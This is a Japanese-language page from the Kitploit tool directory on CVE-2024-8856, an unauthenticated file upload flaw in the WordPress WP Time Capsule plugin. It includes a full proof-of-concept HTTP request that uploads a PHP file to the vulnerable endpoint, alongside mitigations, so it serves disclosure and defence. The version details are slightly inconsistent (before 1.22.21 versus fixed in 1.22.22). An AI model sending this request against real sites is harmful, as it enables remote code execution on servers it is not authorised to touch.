Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-8856 — WordPress WP Time Capsule プラグインの任意ファイルアップロードの脆弱性 | Kitploit
ツール/GitHubGitHub/ubaydev/cve-2024-8856
脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストペイロード開発
GitHububaydev/cve-2024-8856

CVE-2024-8856

WordPress WP Time Capsule プラグインの任意ファイルアップロードの脆弱性

リポジトリを見る
211年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-8856: WordPress WP Time Capsule プラグインの任意ファイルアップロードの脆弱性

概要

CVE-2024-8856 は、WordPress 用 WP Time Capsule プラグインで発見されたセキュリティ脆弱性で、認証されていないユーザーがサーバーに任意のファイルをアップロードできるようになります。アップロードされたファイルがサーバーによって実行されると、リモートコード実行につながる可能性があります。この脆弱性は不十分なファイル検証に起因し、脆弱なエンドポイントに特別に細工されたリクエストを送信することで悪用される可能性があります。

影響を受けるバージョン

  • 1.22.21 より前の WP Time Capsule プラグインバージョン(1.22.22 で修正済み)。

影響

この脆弱性により、認証されていないユーザーは以下を行うことができます:

  • 悪意のある PHP スクリプトをサーバーにアップロードする。
  • サーバー上で任意のコードを実行し、システム全体を危険にさらす。
  • このアクセスを利用して、Web アプリケーションと基盤となるインフラストラクチャをさらに悪用する可能性がある。

概念実証(PoC)

以下は、脆弱なエンドポイントに POST リクエストを送信して CVE-2024-8856 の脆弱性を悪用する方法を示す概念実証です。

サンプルリクエスト

root@kitploit:~
POST /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php HTTP/1.1
Host: wordpress.local
Content-Length: 199
X-Requested-With: XMLHttpRequest
Accept-Language: en-US,en;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHvQu3NOpI44bLkPN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: http://wordpress.local
Content-Disposition: 18.php
Accept-Encoding: gzip, deflate, br
Connection: close

------WebKitFormBoundaryHvQu3NOpI44bLkPN
Content-Disposition: form-data; name="files"; filename="php"
Content-Type: application/sql

<?php phpinfo();
------WebKitFormBoundaryHvQu3NOpI44bLkPN--

PoC の説明

  • POST リクエスト: 脆弱なアップロード機能が公開されているパスへの POST リクエストです。
  • Content-Type: リクエストはファイルアップロードに必要な multipart/form-data を Content-Type に設定します。
  • ファイルアップロード: ファイルは Content-Disposition ヘッダーを使用してボディで指定されます。この例では、<?php phpinfo(); を含む PHP ファイルをアップロードしようとします。実行されると、PHP の設定詳細が表示されます。
  • 脆弱なエンドポイント: /wp-content/plugins/wp-time-capsule/wp-tcapsule-bridge/upload/php/index.php エンドポイントが悪用のポイントです。

緩和策

この脆弱性を緩和するには:

  • プラグインの更新: WP Time Capsule プラグインが開発者によって提供される最新バージョンに常に更新されていることを確認してください。
  • ファイルアップロードの制限: 特定のファイルタイプ(例:画像)のみを許可し、アップロードされたファイルの実行を許可しないように、サーバーでファイルアップロードの制限を実装してください。
  • Web アプリケーションファイアウォール(WAF): Web アプリケーションファイアウォール(WAF)を使用して、悪意のあるリクエストがサーバーに到達する前に検出してブロックしてください。

参考情報

CVE-2024-8856 - 国家脆弱性データベース(NVD)

結論

CVE-2024-8856 は、WP Time Capsule プラグインを使用している WordPress サイトの管理者が直ちに対処する必要がある深刻な脆弱性です。潜在的な悪用からアプリケーションを保護するために、適切な予防措置を講じる必要があります。常にセキュリティ慣行とプラグインの更新を最新の状態に保ってください。

ツールをダウンロード